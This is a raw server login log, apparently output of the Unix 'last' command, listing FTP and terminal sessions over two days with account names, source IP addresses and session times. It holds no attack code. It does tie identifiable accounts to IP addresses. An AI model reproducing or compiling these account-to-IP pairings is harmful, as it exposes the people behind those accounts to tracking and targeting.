tetatet          ftp      193.110.73.92    Mon Oct 25 16:04 - 16:11  (00:06)
anime            ftp      82.147.177.144   Mon Oct 25 16:01 - 16:51  (00:49)
processor        ftp      217.159.188.187  Mon Oct 25 15:59 - 16:10  (00:11)
tetatet          ftp      193.110.73.92    Mon Oct 25 15:48 - 16:04  (00:15)
anime            ftp      82.147.177.144   Mon Oct 25 15:45 - 15:55  (00:09)
vzbalt           ftp      217.85.255.142   Mon Oct 25 15:01 - 15:08  (00:06)
webb             ftp      82.147.171.109   Mon Oct 25 15:00 - 15:01  (00:00)
tulksco          ftp      217.199.109.35   Mon Oct 25 14:29 - 14:30  (00:00)
progzn           ftp      81.176.95.82     Mon Oct 25 14:25 - 14:25  (00:00)
wizarea          ftp      83.237.169.101   Mon Oct 25 14:20 - 15:14  (00:54)
balticsclan      ftp      217.159.173.198  Mon Oct 25 14:07 - 14:10  (00:02)
anime            ftp      82.147.177.144   Mon Oct 25 14:06 - 14:27  (00:21)
balticsclan      ftp      217.159.173.198  Mon Oct 25 13:56 - 14:08  (00:11)
tetatet          ftp      193.110.73.92    Mon Oct 25 13:52 - 14:08  (00:15)
wizarea          ftp      83.237.168.153   Mon Oct 25 13:38 - 14:12  (00:33)
anime            ftp      82.147.177.144   Mon Oct 25 13:37 - 14:01  (00:24)
[email protected]  ftp      193.124.102.202  Mon Oct 25 13:34 - 13:54  (00:19)
wizarea          ftp      83.237.168.153   Mon Oct 25 13:23 - 13:29  (00:05)
dolba3bid@ssqua  ftp      62.33.236.160    Mon Oct 25 13:17 - 13:29  (00:11)
novo_logs        ftp      212.188.97.19    Mon Oct 25 13:07 - 13:09  (00:01)
dolba3bid@ssqua  ftp      195.131.85.53    Mon Oct 25 12:56 - 13:00  (00:03)
anime            ftp      82.147.177.144   Mon Oct 25 12:56 - 13:11  (00:15)
dolba3bid@ssqua  ftp      194.84.213.245   Mon Oct 25 12:55 - 12:58  (00:02)
sandsst          ftp      217.107.79.5     Mon Oct 25 12:54 - 12:57  (00:02)
wizarea          ftp      83.237.171.23    Mon Oct 25 12:53 - 13:04  (00:11)
ssquad           ftp      195.131.85.53    Mon Oct 25 12:52 - 12:52  (00:00)
petersc          ftp      217.85.255.142   Mon Oct 25 12:50 - 12:51  (00:01)
anime            ftp      82.147.177.144   Mon Oct 25 12:50 - 12:53  (00:03)
dolba3bid@ssqua  ftp      195.131.85.53    Mon Oct 25 12:49 - 12:51  (00:02)
nimble           ftp      213.130.7.37     Mon Oct 25 12:45 - 12:54  (00:08)
wizarea          ftp      83.237.171.23    Mon Oct 25 12:42 - 12:50  (00:07)
dolba3bid@ssqua  ftp      195.131.85.53    Mon Oct 25 12:38 - 12:40  (00:02)
tdz              ftp      62.33.55.207     Mon Oct 25 12:34 - 12:35  (00:00)
rafasoft         ftp      216.236.117.139  Mon Oct 25 12:34 - 12:35  (00:01)
anime            ftp      82.147.177.144   Mon Oct 25 12:31 - 12:48  (00:16)
progzn           ftp      81.176.95.82     Mon Oct 25 12:26 - 12:27  (00:00)
progzn           ftp      81.176.95.82     Mon Oct 25 12:23 - 12:33  (00:10)
logotech         ftp      217.107.79.5     Mon Oct 25 12:13 - 12:23  (00:10)
shelter@pavelju  ftp      162.83.62.49     Mon Oct 25 12:03 - 12:03  (00:00)
logotech         ftp      217.107.79.5     Mon Oct 25 12:01 - 12:08  (00:07)
ssquad           ftp      195.131.85.53    Mon Oct 25 11:53 - 12:04  (00:10)
tdz              ftp      62.33.55.207     Mon Oct 25 11:52 - 11:52  (00:00)
xakep            ftp      195.112.232.41   Mon Oct 25 11:42 - 11:44  (00:02)
dolba3bid@ssqua  ftp      195.131.85.53    Mon Oct 25 11:41 - 11:49  (00:08)
ssquad           ftp      195.131.85.53    Mon Oct 25 11:37 - 11:37  (00:00)
dolba3bid@ssqua  ftp      195.131.85.53    Mon Oct 25 11:37 - 11:37  (00:00)
ssquad           ftp      195.131.85.53    Mon Oct 25 11:36 - 11:37  (00:00)
dolba3bid@ssqua  ftp      195.131.85.53    Mon Oct 25 11:36 - 11:36  (00:00)
ssquad           ftp      195.131.85.53    Mon Oct 25 11:35 - 11:36  (00:00)
dolba3bid@ssqua  ftp      195.131.85.53    Mon Oct 25 11:31 - 11:35  (00:04)
baersoft         ftp      212.90.97.237    Mon Oct 25 11:25 - 11:25  (00:00)
xakep            ftp      195.112.232.76   Mon Oct 25 11:22 - 11:32  (00:10)
auto             ftp      193.40.12.204    Mon Oct 25 11:22 - 11:22  (00:00)
baersoft         ftp      212.90.97.237    Mon Oct 25 11:21 - 11:25  (00:03)
tetatet          ftp      193.110.73.92    Mon Oct 25 11:17 - 12:03  (00:46)
baersoft         ftp      62.213.86.143    Mon Oct 25 11:05 - 11:06  (00:01)
sathyasa         ftp      80.235.52.127    Mon Oct 25 11:01 - 11:02  (00:01)
admin            ttyp4    82.131.4.167     Mon Oct 25 10:31   still logged in
wizarea          ftp      83.237.171.23    Mon Oct 25 10:29 - 11:24  (00:54)
gdp              ttyp0    mahaon.ints.net  Mon Oct 25 10:18   still logged in
anonymous@sslpr  ftp      212.176.54.99    Mon Oct 25 09:39 - 09:48  (00:08)
dolba3bid@ssqua  ftp      213.177.101.190  Mon Oct 25 09:30 - 09:31  (00:01)
balticsclan      ftp      217.159.173.198  Mon Oct 25 09:27 - 09:46  (00:18)
anonymous@sslpr  ftp      212.176.54.99    Mon Oct 25 09:07 - 09:36  (00:29)
zotkin2@zotkin.  ftp      212.45.6.50      Mon Oct 25 08:47 - 08:57  (00:10)
gaycity          ftp      82.131.3.248     Mon Oct 25 08:41 - 08:42  (00:00)
balticsclan      ftp      217.159.173.198  Mon Oct 25 08:32 - 09:01  (00:28)
invest           ftp      81.176.137.55    Mon Oct 25 07:19 - 07:30  (00:11)
zlg              ftp      194.186.96.188   Mon Oct 25 06:37 - 07:19  (00:42)
takaja           ftp      194.204.29.7     Mon Oct 25 06:09 - 06:20  (00:10)
zlg              ftp      194.186.96.188   Mon Oct 25 05:59 - 06:14  (00:15)
elitemon         ftp      82.147.175.77    Mon Oct 25 05:56 - 06:16  (00:20)
takaja           ftp      194.204.29.7     Mon Oct 25 05:43 - 05:49  (00:06)
zlg              ftp      194.186.96.188   Mon Oct 25 05:13 - 05:28  (00:15)
takaja           ftp      194.204.29.7     Mon Oct 25 05:06 - 05:24  (00:17)
elitemon         ftp      82.147.175.77    Mon Oct 25 05:05 - 05:36  (00:30)
takaja           ftp      194.204.29.7     Mon Oct 25 05:01 - 05:07  (00:06)
zport            ftp      81.3.154.82      Mon Oct 25 04:38 - 04:42  (00:03)
zlg              ftp      194.186.96.188   Mon Oct 25 04:36 - 04:51  (00:15)
zport            ftp      81.3.154.82      Mon Oct 25 04:27 - 04:42  (00:14)
zlg              ftp      194.186.96.188   Mon Oct 25 04:08 - 04:23  (00:15)
elitemon         ftp      82.147.175.77    Mon Oct 25 04:00 - 05:00  (00:59)
takaja           ftp      194.204.29.7     Mon Oct 25 03:15 - 04:48  (01:32)
onlines          ftp      194.204.48.133   Mon Oct 25 03:00 - 03:20  (00:19)
elitemon         ftp      82.147.175.77    Mon Oct 25 02:59 - 03:20  (00:20)
scythian         ftp      80.235.37.235    Mon Oct 25 02:55 - 02:55  (00:00)
zlg              ftp      194.186.96.188   Mon Oct 25 02:24 - 02:42  (00:17)
tdz              ftp      195.158.178.188  Mon Oct 25 01:57 - 02:03  (00:05)
zlg              ftp      194.186.96.188   Mon Oct 25 01:53 - 02:08  (00:15)
tdz              ftp      195.158.178.188  Mon Oct 25 01:50 - 01:53  (00:02)
design           ftp      82.131.4.167     Mon Oct 25 01:35 - 01:37  (00:01)
takaja           ftp      194.204.29.7     Mon Oct 25 01:33 - 02:52  (01:18)
wizarea          ftp      83.237.172.182   Mon Oct 25 01:33 - 02:47  (01:14)
balticsclan      ftp      213.35.219.154   Mon Oct 25 01:18 - 01:30  (00:11)
zlg              ftp      194.186.96.188   Mon Oct 25 01:10 - 01:26  (00:16)
tdz              ftp      195.158.178.188  Mon Oct 25 00:57 - 01:17  (00:19)
design           ftp      82.131.4.167     Mon Oct 25 00:43 - 00:54  (00:10)
tdz              ftp      195.158.178.188  Mon Oct 25 00:33 - 00:49  (00:16)
balticsclan      ftp      213.35.219.154   Mon Oct 25 00:30 - 01:10  (00:40)
tdz              ftp      195.158.178.188  Mon Oct 25 00:17 - 00:17  (00:00)
teleman          ftp      193.26.13.2      Mon Oct 25 00:09 - 00:19  (00:10)
design           ftp      82.131.4.167     Sun Oct 24 23:57 - 00:26  (00:29)
[email protected]  ftp      82.131.0.93      Sun Oct 24 23:55 - 23:55  (00:00)
webhack          ftp      212.7.18.157     Sun Oct 24 23:51 - 23:51  (00:00)
[email protected]  ftp      82.131.0.93      Sun Oct 24 23:51 - 23:52  (00:00)
dolba3bid@ssqua  ftp      62.33.236.189    Sun Oct 24 23:51 - 00:07  (00:16)
tdz              ftp      195.158.178.188  Sun Oct 24 23:45 - 23:57  (00:12)
detej            ftp      217.159.173.206  Sun Oct 24 23:35 - 23:36  (00:00)
webhack          ftp      212.7.18.157     Sun Oct 24 23:26 - 23:36  (00:10)
tdz              ftp      195.158.178.188  Sun Oct 24 23:26 - 23:26  (00:00)
zotkin2@zotkin.  ftp      212.45.6.50      Sun Oct 24 23:19 - 23:46  (00:27)
detej            ftp      217.159.173.206  Sun Oct 24 23:11 - 23:11  (00:00)
webhack          ftp      212.7.18.157     Sun Oct 24 23:04 - 23:14  (00:10)
gaycity          ftp      82.131.3.248     Sun Oct 24 23:03 - 23:05  (00:01)
detej            ftp      217.159.173.206  Sun Oct 24 23:02 - 23:47  (00:44)
balticsclan      ftp      213.35.219.154   Sun Oct 24 22:53 - 23:03  (00:10)
akorbal          ftp      62.76.4.137      Sun Oct 24 22:52 - 22:56  (00:03)
dolba3bid@ssqua  ftp      62.33.236.189    Sun Oct 24 22:43 - 22:55  (00:11)
ssquad           ftp      195.131.1.74     Sun Oct 24 22:39 - 22:41  (00:01)
softovik         ftp      81.89.71.58      Sun Oct 24 22:39 - 22:51  (00:11)
bfbalth          ftp      62.65.206.196    Sun Oct 24 22:37 - 22:40  (00:03)
balticsclan      ftp      213.35.219.154   Sun Oct 24 22:34 - 22:51  (00:17)
albalt           ftp      217.159.170.70   Sun Oct 24 22:32 - 22:33  (00:00)
bfbalth          ftp      62.65.206.196    Sun Oct 24 22:28 - 22:32  (00:04)
albalt           ftp      217.159.170.70   Sun Oct 24 22:26 - 22:27  (00:00)
webb             ftp      82.147.171.109   Sun Oct 24 22:26 - 22:26  (00:00)
albalt           ftp      217.159.170.70   Sun Oct 24 22:25 - 22:25  (00:00)
dolba3bid@ssqua  ftp      195.131.1.74     Sun Oct 24 22:19 - 22:38  (00:18)
detej            ftp      217.159.173.206  Sun Oct 24 22:19 - 22:19  (00:00)
albalt           ftp      217.159.170.70   Sun Oct 24 22:18 - 22:18  (00:00)
estfootball      ftp      82.147.163.30    Sun Oct 24 22:13 - 22:19  (00:05)
tdz              ftp      194.84.143.232   Sun Oct 24 22:09 - 22:51  (00:42)
takaja           ftp      194.204.29.7     Sun Oct 24 22:09 - 22:34  (00:25)
detej            ftp      217.159.173.206  Sun Oct 24 22:08 - 22:27  (00:19)
dolba3bid@ssqua  ftp      195.131.1.74     Sun Oct 24 22:08 - 22:18  (00:10)
balticsclan      ftp      213.35.219.154   Sun Oct 24 22:04 - 22:17  (00:13)
detej            ftp      217.159.173.206  Sun Oct 24 22:04 - 22:04  (00:00)
tdz              ftp      194.84.143.232   Sun Oct 24 21:55 - 22:09  (00:13)
estfootball      ftp      81.9.68.220      Sun Oct 24 21:55 - 21:59  (00:04)
dolba3bid@ssqua  ftp      195.131.1.74     Sun Oct 24 21:54 - 21:59  (00:05)
aaa              ftp      62.65.206.196    Sun Oct 24 21:53 - 21:53  (00:00)
detej            ftp      217.159.173.206  Sun Oct 24 21:52 - 22:02  (00:10)
balticsclan      ftp      213.35.219.154   Sun Oct 24 21:51 - 22:02  (00:10)
detej            ftp      217.159.173.206  Sun Oct 24 21:51 - 22:03  (00:11)
tdz              ftp      194.84.143.232   Sun Oct 24 21:50 - 21:59  (00:08)
ssquad           ftp      195.131.1.74     Sun Oct 24 21:45 - 21:53  (00:08)
dolba3bid@ssqua  ftp      195.131.1.74     Sun Oct 24 21:44 - 21:45  (00:00)
estfootball      ftp      81.9.68.220      Sun Oct 24 21:40 - 21:49  (00:08)
elitemon         ftp      82.147.167.184   Sun Oct 24 21:33 - 21:33  (00:00)
estfootball      ftp      148.233.165.151  Sun Oct 24 21:32 - 21:34  (00:02)
elitemon         ftp      82.147.167.184   Sun Oct 24 21:27 - 21:27  (00:00)
baltbal          ftp      82.147.171.109   Sun Oct 24 21:20 - 21:30  (00:10)
alexclk          ftp      217.224.244.9    Sun Oct 24 21:17 - 21:30  (00:12)
elitemon         ftp      82.147.167.184   Sun Oct 24 21:17 - 21:27  (00:09)
ssquad           ftp      195.131.1.74     Sun Oct 24 21:17 - 21:40  (00:23)
elitemon         ftp      82.147.167.184   Sun Oct 24 21:17 - 21:27  (00:10)
detej            ftp      217.159.173.206  Sun Oct 24 21:13 - 21:32  (00:19)
forumlif         ftp      194.106.127.118  Sun Oct 24 21:00 - 21:11  (00:11)
nimble           ftp      213.130.7.36     Sun Oct 24 21:00 - 21:00  (00:00)
aaa              ftp      62.65.206.196    Sun Oct 24 20:55 - 21:00  (00:04)
detej            ftp      217.159.173.206  Sun Oct 24 20:54 - 20:56  (00:01)
estfootball      ftp      148.233.165.151  Sun Oct 24 20:47 - 20:49  (00:02)
detej            ftp      217.159.173.206  Sun Oct 24 20:47 - 21:07  (00:20)
estfootball      ftp      81.9.68.220      Sun Oct 24 20:42 - 20:44  (00:01)
anime            ftp      82.147.182.190   Sun Oct 24 20:41 - 20:48  (00:06)
wh               ftp      212.15.118.181   Sun Oct 24 20:38 - 20:38  (00:00)
anime            ftp      82.147.182.190   Sun Oct 24 20:33 - 20:40  (00:06)
detej            ftp      217.159.173.206  Sun Oct 24 20:29 - 20:29  (00:00)
design           ftp      213.35.209.11    Sun Oct 24 20:29 - 20:45  (00:16)
detej            ftp      217.159.173.206  Sun Oct 24 20:25 - 20:25  (00:00)
wh               ftp      212.15.118.181   Sun Oct 24 20:24 - 20:37  (00:12)
estfootball      ftp      81.9.68.220      Sun Oct 24 20:23 - 20:34  (00:10)
detej            ftp      217.159.171.106  Sun Oct 24 20:04 - 20:04  (00:00)
anime            ftp      82.147.182.190   Sun Oct 24 20:01 - 20:31  (00:29)
detej            ftp      217.159.173.206  Sun Oct 24 19:54 - 19:54  (00:00)
prohack          ftp      83.167.80.133    Sun Oct 24 19:53 - 20:00  (00:06)
detej            ftp      217.159.173.206  Sun Oct 24 19:50 - 19:50  (00:00)
design           ftp      213.35.209.11    Sun Oct 24 19:48 - 19:51  (00:02)
albalt           ftp      217.159.170.70   Sun Oct 24 19:47 - 21:27  (01:39)
detej            ftp      217.159.173.206  Sun Oct 24 19:46 - 19:46  (00:00)
albalt           ftp      217.159.170.70   Sun Oct 24 19:44 - 19:44  (00:00)
tdz              ftp      194.84.143.232   Sun Oct 24 19:41 - 20:14  (00:33)
zotkin2@zotkin.  ftp      212.45.6.50      Sun Oct 24 19:40 - 20:02  (00:21)
detej            ftp      217.159.173.206  Sun Oct 24 19:40 - 20:38  (00:57)
fresh@shaftspla  ftp      24.157.116.34    Sun Oct 24 19:27 - 19:37  (00:10)
tdz              ftp      195.158.178.188  Sun Oct 24 19:26 - 19:34  (00:08)
albalt           ftp      217.159.170.70   Sun Oct 24 19:22 - 19:23  (00:00)
detej            ftp      217.159.173.206  Sun Oct 24 19:19 - 19:37  (00:18)
tdz              ftp      195.158.178.188  Sun Oct 24 19:12 - 19:24  (00:12)
tulksco          ftp      217.199.109.35   Sun Oct 24 19:11 - 19:18  (00:06)
detej            ftp      217.159.173.206  Sun Oct 24 19:08 - 19:19  (00:10)
gaycity          ftp      82.131.3.248     Sun Oct 24 19:06 - 19:16  (00:10)
pionerz          ftp      194.204.17.244   Sun Oct 24 19:06 - 19:21  (00:15)
tulksco          ftp      217.199.109.35   Sun Oct 24 19:06 - 19:06  (00:00)
detej            ftp      217.159.171.106  Sun Oct 24 19:05 - 20:02  (00:56)
gaycity          ftp      82.131.3.248     Sun Oct 24 19:03 - 19:04  (00:01)
takaja           ftp      194.204.29.7     Sun Oct 24 19:03 - 19:10  (00:06)
gaycity          ftp      82.131.3.248     Sun Oct 24 19:02 - 19:03  (00:01)
tulksco          ftp      217.199.109.35   Sun Oct 24 18:56 - 19:03  (00:07)
elitemon         ftp      82.147.175.77    Sun Oct 24 18:55 - 19:11  (00:16)
albalt           ftp      217.159.170.70   Sun Oct 24 18:53 - 19:12  (00:19)
tdz              ftp      195.158.178.188  Sun Oct 24 18:48 - 19:11  (00:23)
albalt           ftp      217.159.170.70   Sun Oct 24 18:47 - 18:48  (00:00)
tulksco          ftp      217.199.109.35   Sun Oct 24 18:42 - 18:42  (00:00)
tdz              ftp      194.84.143.232   Sun Oct 24 18:38 - 19:01  (00:23)
webb             ftp      82.147.171.109   Sun Oct 24 18:37 - 18:38  (00:00)
forumlif         ftp      194.106.127.118  Sun Oct 24 18:35 - 18:39  (00:04)
detej            ftp      217.159.171.106  Sun Oct 24 18:33 - 19:04  (00:31)
tulksco          ftp      217.199.109.35   Sun Oct 24 18:31 - 18:31  (00:00)
takaja           ftp      194.204.29.7     Sun Oct 24 18:29 - 19:03  (00:34)
tulksco          ftp      217.199.109.35   Sun Oct 24 18:25 - 18:26  (00:00)
ssquad           ftp      195.131.1.74     Sun Oct 24 18:24 - 18:29  (00:04)
tulksco          ftp      217.199.109.35   Sun Oct 24 18:22 - 18:22  (00:00)
webb             ftp      82.147.171.109   Sun Oct 24 18:22 - 18:28  (00:06)
detej            ftp      217.159.171.106  Sun Oct 24 18:12 - 18:12  (00:00)
zlg              ftp      194.186.32.66    Sun Oct 24 18:11 - 18:24  (00:12)
webb             ftp      82.147.171.109   Sun Oct 24 18:08 - 18:09  (00:01)
gansta           ftp      213.35.211.150   Sun Oct 24 17:47 - 17:59  (00:12)
detej            ftp      217.159.171.106  Sun Oct 24 17:46 - 17:59  (00:12)
albalt           ftp      217.159.170.70   Sun Oct 24 17:44 - 18:25  (00:40)
baltbal          ftp      82.147.171.109   Sun Oct 24 17:44 - 17:44  (00:00)
albalt           ftp      217.159.170.70   Sun Oct 24 17:38 - 17:42  (00:04)
prohack          ftp      83.167.82.149    Sun Oct 24 17:37 - 17:43  (00:05)
detej            ftp      217.159.171.106  Sun Oct 24 17:37 - 17:46  (00:09)
webb             ftp      82.147.171.109   Sun Oct 24 17:35 - 17:45  (00:10)
detej            ftp      217.159.171.106  Sun Oct 24 17:26 - 17:36  (00:09)
prohack          ftp      83.167.82.149    Sun Oct 24 17:23 - 17:43  (00:20)
detej            ftp      217.159.171.106  Sun Oct 24 17:23 - 17:26  (00:03)
takaja           ftp      194.204.29.7     Sun Oct 24 17:19 - 17:36  (00:16)
[email protected]  ftp      82.207.26.201    Sun Oct 24 17:17 - 17:51  (00:33)
balticsclan      ftp      213.35.219.154   Sun Oct 24 17:09 - 17:13  (00:03)
detej            ftp      217.159.171.106  Sun Oct 24 17:02 - 17:02  (00:00)
webb             ftp      82.147.171.109   Sun Oct 24 16:55 - 17:05  (00:10)
invest           ftp      217.107.22.109   Sun Oct 24 16:55 - 16:55  (00:00)
tdz              ftp      195.158.178.188  Sun Oct 24 16:54 - 16:58  (00:04)
forumlif         ftp      194.106.127.118  Sun Oct 24 16:51 - 16:56  (00:05)
topbalt          ftp      217.159.171.34   Sun Oct 24 16:50 - 16:50  (00:00)
invest           ftp      81.176.137.56    Sun Oct 24 16:48 - 16:58  (00:10)
topbalt          ftp      217.159.171.34   Sun Oct 24 16:44 - 16:44  (00:00)
invest           ftp      217.107.22.227   Sun Oct 24 16:43 - 16:54  (00:10)
prohack          ftp      83.167.82.187    Sun Oct 24 16:41 - 17:19  (00:37)
invest           ftp      81.176.137.107   Sun Oct 24 16:35 - 16:45  (00:10)
topbalt          ftp      217.159.171.34   Sun Oct 24 16:31 - 16:31  (00:00)
invest           ftp      217.107.23.37    Sun Oct 24 16:30 - 16:31  (00:00)
topbalt          ftp      217.159.171.34   Sun Oct 24 16:30 - 16:30  (00:00)
forumlif         ftp      194.106.127.118  Sun Oct 24 16:25 - 16:27  (00:01)
topbalt          ftp      217.159.171.34   Sun Oct 24 16:24 - 16:24  (00:00)
[email protected]  ftp      82.207.25.183    Sun Oct 24 16:23 - 16:41  (00:17)
topbalt          ftp      217.159.171.34   Sun Oct 24 16:22 - 16:22  (00:00)
invest           ftp      217.107.23.117   Sun Oct 24 16:22 - 16:33  (00:10)
gansta           ftp      213.35.211.150   Sun Oct 24 16:20 - 17:55  (01:34)
topbalt          ftp      217.159.171.34   Sun Oct 24 16:17 - 16:17  (00:00)
forumlif         ftp      194.204.37.86    Sun Oct 24 16:14 - 16:14  (00:00)
topbalt          ftp      217.159.171.34   Sun Oct 24 16:11 - 16:11  (00:00)
invest           ftp      217.107.22.194   Sun Oct 24 16:11 - 16:22  (00:11)
akorbal          ftp      62.76.4.137      Sun Oct 24 16:09 - 16:15  (00:05)
forumlif         ftp      194.106.127.118  Sun Oct 24 16:05 - 16:06  (00:00)
tulksco          ftp      217.199.109.35   Sun Oct 24 15:59 - 15:59  (00:00)
topbalt          ftp      217.159.171.34   Sun Oct 24 15:55 - 15:55  (00:00)
tulksco          ftp      217.199.109.35   Sun Oct 24 15:55 - 15:55  (00:00)
[email protected]  ftp      82.207.25.183    Sun Oct 24 15:54 - 16:13  (00:19)
forumlif         ftp      194.106.127.118  Sun Oct 24 15:54 - 16:06  (00:12)
tulksco          ftp      217.199.109.35   Sun Oct 24 15:53 - 16:00  (00:07)
story            ftp      80.235.127.254   Sun Oct 24 15:52 - 15:53  (00:00)
tulksco          ftp      217.199.109.35   Sun Oct 24 15:52 - 15:52  (00:00)
forumlif         ftp      194.106.127.118  Sun Oct 24 15:51 - 15:52  (00:00)
tulksco          ftp      217.199.109.35   Sun Oct 24 15:50 - 15:50  (00:00)
tdz              ftp      194.84.143.232   Sun Oct 24 15:43 - 15:51  (00:07)
forumlif         ftp      194.106.127.118  Sun Oct 24 15:43 - 15:51  (00:07)
tulksco          ftp      217.199.109.35   Sun Oct 24 15:42 - 15:51  (00:09)
pionerz          ftp      194.204.17.244   Sun Oct 24 15:35 - 15:51  (00:15)
topbalt          ftp      217.159.171.34   Sun Oct 24 15:27 - 15:27  (00:00)
tdz              ftp      194.84.143.232   Sun Oct 24 15:26 - 15:28  (00:01)
tallif           ftp      213.219.75.50    Sun Oct 24 15:26 - 15:26  (00:00)
topbalt          ftp      217.159.171.34   Sun Oct 24 15:25 - 15:25  (00:00)
wh               ftp      212.15.118.103   Sun Oct 24 14:53 - 16:22  (01:29)
webb             ftp      82.147.171.109   Sun Oct 24 14:52 - 15:02  (00:10)
story            ftp      80.235.127.254   Sun Oct 24 14:50 - 14:50  (00:00)
odyssey          ftp      213.158.7.139    Sun Oct 24 14:49 - 15:03  (00:13)
estfootball      ftp      82.147.163.30    Sun Oct 24 14:45 - 15:03  (00:17)
tdz              ftp      194.84.143.232   Sun Oct 24 14:42 - 15:12  (00:29)
oeforum          ftp      212.7.28.220     Sun Oct 24 14:33 - 14:43  (00:10)
chenla           ftp      213.54.71.205    Sun Oct 24 14:31 - 14:32  (00:00)
detej            ftp      217.159.173.206  Sun Oct 24 14:19 - 14:19  (00:00)
iand             ftp      213.148.31.233   Sun Oct 24 14:15 - 14:16  (00:01)
odyssey          ftp      213.158.7.46     Sun Oct 24 14:14 - 14:35  (00:21)
webb             ftp      82.147.171.109   Sun Oct 24 14:08 - 14:11  (00:03)
elitemon         ftp      82.147.175.77    Sun Oct 24 14:04 - 14:21  (00:16)
webb             ftp      82.147.171.109   Sun Oct 24 13:51 - 14:01  (00:10)
runetb           ftp      213.35.216.238   Sun Oct 24 13:49 - 13:50  (00:01)
webb             ftp      82.147.171.109   Sun Oct 24 13:41 - 13:47  (00:05)
estfootball      ftp      82.147.163.30    Sun Oct 24 13:34 - 14:31  (00:57)
elitemon         ftp      82.147.175.77    Sun Oct 24 13:27 - 13:44  (00:17)
runetb           ftp      213.35.216.238   Sun Oct 24 13:26 - 13:39  (00:12)
topbalt          ftp      217.159.171.34   Sun Oct 24 13:24 - 13:24  (00:00)
tdz              ftp      194.84.143.232   Sun Oct 24 13:19 - 13:29  (00:10)
prohack          ftp      83.167.80.247    Sun Oct 24 13:14 - 14:02  (00:47)
tallif           ftp      213.219.75.50    Sun Oct 24 13:14 - 13:38  (00:24)
prohack          ftp      83.167.80.247    Sun Oct 24 13:12 - 13:14  (00:01)
webb             ftp      82.147.171.109   Sun Oct 24 13:10 - 13:10  (00:00)
elitemon         ftp      82.147.175.77    Sun Oct 24 13:08 - 13:27  (00:18)
acontrol         ftp      195.66.208.4     Sun Oct 24 13:05 - 13:10  (00:05)
elitemon         ftp      82.147.175.77    Sun Oct 24 13:04 - 13:06  (00:02)
xboxland         ftp      217.10.45.28     Sun Oct 24 13:03 - 13:04  (00:01)
prohack          ftp      83.167.80.247    Sun Oct 24 13:01 - 13:11  (00:09)
tdz              ftp      194.84.143.232   Sun Oct 24 12:48 - 13:19  (00:30)
elitemon         ftp      82.147.175.77    Sun Oct 24 12:45 - 13:03  (00:17)
prohack          ftp      83.167.82.165    Sun Oct 24 12:45 - 12:56  (00:10)
acontrol         ftp      195.66.208.4     Sun Oct 24 12:41 - 12:54  (00:12)
coder            ftp      80.66.244.17     Sun Oct 24 12:35 - 12:45  (00:09)
prohack          ftp      83.167.82.165    Sun Oct 24 12:32 - 12:39  (00:06)
hwin             ftp      80.237.115.33    Sun Oct 24 12:29 - 12:46  (00:16)
webextra         ftp      216.236.117.139  Sun Oct 24 12:24 - 12:24  (00:00)
rafasoft         ftp      216.236.117.139  Sun Oct 24 12:22 - 12:23  (00:00)
[email protected]  ftp      82.131.2.248     Sun Oct 24 12:11 - 12:19  (00:07)
coder            ftp      80.66.244.17     Sun Oct 24 12:11 - 12:16  (00:04)
prohack          ftp      83.167.82.165    Sun Oct 24 12:08 - 12:27  (00:18)
onlines          ftp      194.204.48.133   Sun Oct 24 12:07 - 12:23  (00:15)
acontrol         ftp      195.66.208.4     Sun Oct 24 12:07 - 12:38  (00:31)
onlines          ftp      194.204.48.133   Sun Oct 24 12:06 - 12:06  (00:00)
acontrol         ftp      195.66.208.4     Sun Oct 24 12:03 - 12:17  (00:14)
baersoft         ftp      82.207.31.57     Sun Oct 24 12:01 - 12:22  (00:20)
elitemon         ftp      82.147.175.77    Sun Oct 24 11:51 - 12:30  (00:39)
takaja           ftp      194.204.29.7     Sun Oct 24 11:49 - 12:16  (00:27)
baersoft         ftp      82.207.31.57     Sun Oct 24 11:49 - 11:54  (00:05)
admin            ttyp0    82.131.4.167     Sun Oct 24 11:47 - 00:10  (12:23)
mp3cm            ftp      195.239.140.241  Sun Oct 24 11:45 - 11:47  (00:01)
baersoft         ftp      82.207.31.57     Sun Oct 24 11:40 - 11:58  (00:17)
baersoft         ftp      82.207.31.57     Sun Oct 24 11:39 - 11:45  (00:05)
wh               ftp      212.15.118.42    Sun Oct 24 11:27 - 11:32  (00:04)
zotkin2@zotkin.  ftp      212.45.6.50      Sun Oct 24 11:13 - 11:26  (00:13)
alerian          ftp      212.7.12.6       Sun Oct 24 11:12 - 11:55  (00:42)
elitemon         ftp      82.147.175.77    Sun Oct 24 11:09 - 11:44  (00:34)
xboxland         ftp      217.10.45.28     Sun Oct 24 11:09 - 11:17  (00:07)
runetb           ftp      213.35.172.10    Sun Oct 24 10:58 - 11:01  (00:03)
prohack          ftp      83.167.82.153    Sun Oct 24 10:54 - 11:04  (00:09)
flooder          ftp      217.159.162.94   Sun Oct 24 10:52 - 10:53  (00:00)
flooder          ftp      217.159.162.94   Sun Oct 24 10:52 - 10:53  (00:01)
elitemon         ftp      82.147.175.77    Sun Oct 24 10:39 - 10:42  (00:02)
[email protected]  ftp      82.115.25.10     Sun Oct 24 10:34 - 10:38  (00:03)
wh               ftp      212.15.118.113   Sun Oct 24 10:22 - 10:24  (00:02)
hwin             ftp      80.237.115.33    Sun Oct 24 09:32 - 09:42  (00:10)
tulksco          ftp      217.199.109.35   Sun Oct 24 09:14 - 09:20  (00:05)
elitemon         ftp      82.147.175.77    Sun Oct 24 09:12 - 10:34  (01:21)
prohack          ftp      83.167.82.236    Sun Oct 24 09:11 - 09:24  (00:12)
rafasoft         ftp      216.236.117.139  Sun Oct 24 08:44 - 08:50  (00:05)
forumlif         ftp      194.106.127.118  Sun Oct 24 08:34 - 08:42  (00:08)
forum@estfootba  ftp      194.106.127.118  Sun Oct 24 08:25 - 08:25  (00:00)
elitemon         ftp      82.147.175.77    Sun Oct 24 07:33 - 08:01  (00:28)
zlg              ftp      194.186.32.107   Sun Oct 24 07:07 - 07:46  (00:38)
freeserialsnet   ftp      212.38.122.75    Sun Oct 24 06:48 - 06:52  (00:03)
zlg              ftp      194.186.32.107   Sun Oct 24 06:03 - 06:18  (00:15)
softovik         ftp      195.218.132.120  Sun Oct 24 05:44 - 05:45  (00:01)
zlg              ftp      194.186.32.107   Sun Oct 24 04:54 - 05:09  (00:15)
detej            ftp      217.159.173.206  Sun Oct 24 03:35 - 03:38  (00:02)
iand             ftp      213.148.31.233   Sun Oct 24 03:11 - 03:12  (00:00)
softovik         ftp      81.89.71.50      Sun Oct 24 02:58 - 03:09  (00:10)
iand             ftp      213.148.31.233   Sun Oct 24 02:57 - 03:10  (00:12)
grusper          ftp      82.131.16.127    Sun Oct 24 02:49 - 02:51  (00:01)
